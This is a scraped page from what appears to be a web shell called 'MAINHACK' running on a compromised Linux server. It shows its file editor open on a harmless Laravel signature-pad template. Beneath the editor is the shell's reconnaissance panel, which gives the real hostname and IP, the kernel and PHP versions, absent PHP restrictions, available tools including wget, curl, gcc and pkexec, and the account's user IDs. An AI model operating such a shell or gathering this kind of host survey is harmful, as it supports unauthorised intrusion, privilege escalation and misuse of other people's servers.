[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: signature.blade.php
<form id='form_pad' method="post" enctype="multipart/form-data"> @method('POST') @csrf <div class="modal-body" id=""> <div class="row"> <input type="hidden" name="contract_id" value="{{ $contract->id }}"> <label for="" class="col-form-label">{{ __('Sign') }}</label> @if (\Auth::user()->getGuard() == 'client') <div class="form-control"> <canvas id="signature-pad" class="signature-pad" height=200></canvas> <input type="hidden" name="client_signature" id="SignupImage1"> </div> @endif @if ($currentWorkspace->permission == 'Owner') <div class="form-control"> <canvas id="signature-pad" class="signature-pad" height=200></canvas> <input type="hidden" name="company_signature" id="SignupImage1"> </div> @endif <div class="mt-1"> <input type="button" value="{{ __('Clear') }}" class="btn btn-danger" id="clearSig"> </div> </div> </div> <div class="modal-footer"> <input type="button" value="{{ __('Cancel') }}" class="btn btn-secondary" data-bs-dismiss="modal"> <input type="button" value="{{ __('Save') }}" class="btn btn-primary" id="addSig"> </div> </form> @php $client_keyword = Auth::user()->getGuard() == 'client' ? 'client.' : ''; @endphp <script src="{{ asset('assets/js/plugins/signature_pad/signature_pad.min.js') }}"></script> <script> var signature = { canvas: null, clearButton: null, init: function init() { this.canvas = document.querySelector(".signature-pad"); this.clearButton = document.getElementById('clearSig'); this.saveButton = document.getElementById('addSig'); signaturePad = new SignaturePad(this.canvas); this.clearButton.addEventListener('click', function(event) { signaturePad.clear(); }); this.saveButton.addEventListener('click', function(event) { var data = signaturePad.toDataURL('image/png'); $('#SignupImage1').val(data); $.ajax({ url: '{{ route($client_keyword . 'signaturestore', [$currentWorkspace->slug]) }}', type: 'POST', data: $("form").serialize(), success: function(data) { if (data.message) { show_toastr('success', data.message, 'success'); } else { show_toastr('error', 'Some Thing Is Wrong!'); } $('#commonModal').modal('hide'); }, error: function(data) { data = data.responseJSON; if (data.message) { show_toastr('error', data.message); } else { show_toastr('error', 'Some Thing Is Wrong!'); } } }); }); } }; signature.init(); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002